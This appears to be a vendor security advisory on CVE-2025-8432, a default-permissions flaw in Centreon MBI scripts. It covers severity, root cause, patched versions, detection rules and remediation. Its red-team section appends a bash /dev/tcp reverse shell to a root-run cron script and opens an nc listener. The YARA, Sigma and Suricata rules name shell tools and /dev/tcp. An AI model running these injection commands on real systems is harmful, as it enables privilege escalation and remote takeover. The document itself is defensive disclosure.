CVE-2025-8432

Executive Summary

CVE-2025-8432 is a high-severity vulnerability in Centreon Infra Monitoring, specifically within its MBI (Monitoring Business Intelligence) modules. The flaw is classified as an Incorrect Default Permissions (CWE-276) issue, which allows a user with the CentreonBI account on the MBI server to embed scripts within other scripts. This can lead to arbitrary code execution or privilege escalation, as the CentreonBI user may have elevated or unintended permissions on the system. The vulnerability affects multiple versions of Centreon Infra Monitoring, and no public exploit code or proof-of-concept has been released at this time. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild currently, but the high CVSS score (8.4) warrants immediate attention.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a configuration and permission issue within the Centreon MBI server. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 8.4 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the MBI server.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a valid CentreonBI user account.
• User Interaction: None (UI:N) – No user action is needed for exploitation.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Sensitive data could be exposed.
• Integrity Impact: High (I:H) – Data or system state could be altered.
• Availability Impact: High (A:H) – System availability could be compromised.

Threat Level: High. While local access is required, the low complexity and high impact make this a critical risk for environments where the CentreonBI account is shared or not properly secured.

Deep Dive & Mechanics

The vulnerability resides in the MBI (Monitoring Business Intelligence) modules of Centreon Infra Monitoring. The CentreonBI user account, which is used for MBI operations, has incorrect default permissions that allow it to embed scripts within other scripts. This is a classic case of CWE-276 (Incorrect Default Permissions), where the system does not properly restrict the permissions of the CentreonBI user, enabling it to execute arbitrary code or modify scripts that are executed by other users or processes.

Root Cause: The MBI server does not enforce proper access controls on the CentreonBI user's ability to write or modify script files. This allows the user to inject malicious code into scripts that are later executed by higher-privileged processes (e.g., cron jobs, scheduled reports, or system scripts).

Attack Scenario:

1. An attacker gains access to the CentreonBI account (e.g., through credential theft, weak password, or shared account).
2. The attacker identifies a script that is executed by a higher-privileged user (e.g., root or a service account).
3. The attacker modifies the script to include malicious code (e.g., a reverse shell, data exfiltration, or privilege escalation).
4. When the script is executed, the malicious code runs with the privileges of the higher-privileged user, leading to full system compromise.

Vulnerable vs. Patched Code

Since no specific code snippets are provided in the CVE data, the following is a generic example of the vulnerability and its fix.

Vulnerable Code (Conceptual):

# /opt/centreon/mbi/scripts/generate_report.sh
# This script is executed by a cron job as root
# The CentreonBI user can modify this file due to incorrect permissions
echo "Generating report..."
# Attacker injects: /bin/bash -c 'exec bash -i &>/dev/tcp/attacker/4444 <&1'

Patched Code (Conceptual):

# /opt/centreon/mbi/scripts/generate_report.sh
# Permissions are now restricted: chmod 750 and owned by root:centreon
# The CentreonBI user cannot modify this file
echo "Generating report..."
# No injection possible

Patch Details: The fix involves correcting the default permissions on MBI-related scripts and directories. The CentreonBI user should only have read/execute permissions on necessary scripts, and write permissions should be restricted to administrative users. The patched versions (24.10.6, 24.04.9, 23.10.15) implement these permission changes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Centreon MBI server with a vulnerable version.
• Valid credentials for the CentreonBI user account.

Exploitation Steps:

1. Identify Target Scripts: List scripts owned by or executable by the CentreonBI user that are run by higher-privileged processes.

   find /opt/centreon/mbi -type f -executable -user centreonBI 2>/dev/null
   

2. Inject Malicious Code: Modify a script to include a reverse shell or privilege escalation payload.

   echo '#!/bin/bash
   /bin/bash -c "exec bash -i &>/dev/tcp/192.168.1.100/4444 <&1"' >> /opt/centreon/mbi/scripts/generate_report.sh
   

3. Trigger Execution: Wait for the cron job or scheduled task to execute the script, or manually trigger it if possible.
4. Receive Shell: On your attacker machine, listen for the reverse shell.

   nc -lvnp 4444
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor File Integrity: Use file integrity monitoring (FIM) tools (e.g., AIDE, Tripwire, OSSEC) to detect unauthorized changes to MBI scripts.
2. Audit User Activity: Monitor the CentreonBI user's activity, especially file modifications and command executions.
3. Review Permissions: Regularly audit permissions on MBI directories and scripts.

   ls -la /opt/centreon/mbi/scripts/
   

4. Harden the Account: Disable the CentreonBI account if not needed, or restrict its access using sudo rules and file permissions.

Indicators of Compromise (IOCs)

• File Changes: Unauthorized modifications to files in /opt/centreon/mbi/scripts/ or /opt/centreon/mbi/.
• Suspicious Processes: Processes running as centreonBI that spawn shells or network connections.
• Network Connections: Outbound connections from the MBI server to unknown IPs (e.g., reverse shell).
• Cron Jobs: New or modified cron jobs that execute scripts under the centreonBI user.
• Log Entries: Unusual entries in /var/log/centreon/ or /var/log/syslog related to the centreonBI user.

Detection Engineering

YARA Rule

rule CVE_2025_8432_Centreon_MBI_Script_Injection {
    meta:
        description = "Detects potential script injection by CentreonBI user in MBI scripts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8432"
    strings:
        $suspicious_cmd = /(exec|bash|sh|nc|ncat|python|perl|ruby)\s+-[ic]/ nocase
        $reverse_shell = /\/dev\/tcp\// nocase
        $centreon_path = "/opt/centreon/mbi/scripts/"
    condition:
        $centreon_path and ($suspicious_cmd or $reverse_shell)
}

Sigma Rule

title: CVE-2025-8432 Centreon MBI Script Modification
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file modifications by the CentreonBI user in MBI script directories
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8432
logsource:
    category: file_event
    product: linux
detection:
    selection:
        User: "centreonBI"
        TargetFilename|startswith: "/opt/centreon/mbi/scripts/"
        EventType: "Write"
    condition: selection
falsepositives:
    - Legitimate administrative changes
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8432 Centreon MBI Reverse Shell"; flow:to_server,established; content:"/dev/tcp/"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon Infra Monitoring to the patched versions:
   • 24.10.6
   • 24.04.9
   • 23.10.15
2. Restrict the CentreonBI account: If the account is not required, disable it. If needed, limit its permissions using file system ACLs and sudo rules.
3. Audit MBI Script Permissions: Ensure that scripts in /opt/centreon/mbi/scripts/ are owned by root and have permissions 750 or stricter.
4. Enable File Integrity Monitoring: Deploy FIM tools to alert on any changes to MBI-related files.

Long-Term Mitigations:

• Implement the principle of least privilege for all service accounts.
• Regularly review and audit user permissions.
• Use centralized logging and SIEM to detect anomalous behavior.
• Apply security patches promptly.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Division